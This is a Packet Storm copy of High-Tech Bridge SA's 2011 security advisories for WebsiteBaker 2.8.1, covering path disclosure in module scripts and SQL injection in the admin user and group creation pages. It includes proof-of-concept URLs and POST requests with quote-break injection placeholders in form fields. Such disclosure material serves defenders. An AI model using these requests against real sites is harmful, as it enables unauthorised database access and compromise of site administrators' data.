WebsiteBaker 2.8.1 Path Disclosure / SQL Injection

2011-04-12T00:00:00
ID PACKETSTORM:100338
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2011-04-12T00:00:00

Description

                                        
                                            `===================================  
Vulnerability ID: HTB22929  
Reference: http://www.htbridge.ch/advisory/multiple_path_disclosure_in_websitebaker.html  
Product: WebsiteBaker  
Vendor: Website Baker Org ( http://www.websitebaker2.org/ )   
Vulnerable Version: 2.8.1  
Vendor Notification: 29 March 2011   
Vulnerability Type: Path disclosure  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in "/modules/" scripts, it's possible to generate an error that will reveal the full path of the script.  
A remote user can determine the full path to the web root directory and other potentially sensitive information.  
  
The following PoC is available:  
  
[code]  
http://[host]/modules/code/add.php  
http://[host]/modules/code/delete.php  
http://[host]/modules/code/modify.php  
http://[host]/modules/code/view.php  
http://[host]/modules/form/add.php  
http://[host]/modules/form/delete.php  
[/code]  
  
===================================  
Vulnerability ID: HTB22928  
Reference: http://www.htbridge.ch/advisory/multiple_sql_injections_in_websitebaker.html  
Product: WebsiteBaker  
Vendor: Website Baker Org ( http://www.websitebaker2.org/ )   
Vulnerable Version: 2.8.1  
Vendor Notification: 29 March 2011   
Vulnerability Type: SQL Injection  
Risk level: High   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/admin/users/add.php" script to properly sanitize user-supplied input.   
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
The following PoC is available:  
  
[code]  
POST /admin/users/add.php HTTP/1.1  
  
user_id=&username_fieldname=username_1hnuvyv2&username_1hnuvyv2=test&password=password&password2=password&display_name=test&email=test%40test.com&home_folder=123'SQL_CODE&groups%5B%5D=123'SQL_CODE&active%5B%5D=1&submit=Add  
[/code]  
  
The vulnerability exists due to failure in the "/admin/groups/add.php" script to properly sanitize user-supplied input.   
The following PoC is available:  
  
[code]  
POST /admin/groups/add.php HTTP/1.1  
  
advanced=no&group_id=&group_name=123%27SQL_CODE_HERE&module_permissions%5B%5D=code&module_permissions%5B%5D=form&module_permissions%5B%5D=menu_link&module_permissions%5B%5D=news&module_permissions%5B%5D=wrapper&module_permissions%5B%5D=wysiwyg&template_permissions%5B%5D=allcss&template_permissions%5B%5D=argos_theme&template_permissions%5B%5D=blank&template_permissions%5B%5D=classic_theme&template_permissions%5B%5D=round&template_permissions%5B%5D=simple&template_permissions%5B%5D=wb_theme&submit=Add  
[/code]  
  
`